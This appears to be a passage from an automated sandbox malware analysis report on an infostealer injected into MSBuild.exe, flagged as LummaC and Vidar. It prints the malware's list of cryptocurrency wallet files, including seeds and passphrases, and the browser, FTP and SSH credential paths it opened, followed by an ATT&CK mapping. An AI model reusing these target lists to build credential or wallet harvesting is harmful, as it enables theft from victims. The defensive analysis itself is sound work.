Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 7032, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5d8ad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5d8ad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7032, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC90C40 sqlite3_bind_zeroblob,	1_2_6CC90C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC90D60 sqlite3_bind_parameter_name,	1_2_6CC90D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBB8EA0 sqlite3_clear_bindings,	1_2_6CBB8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	55 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	161 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
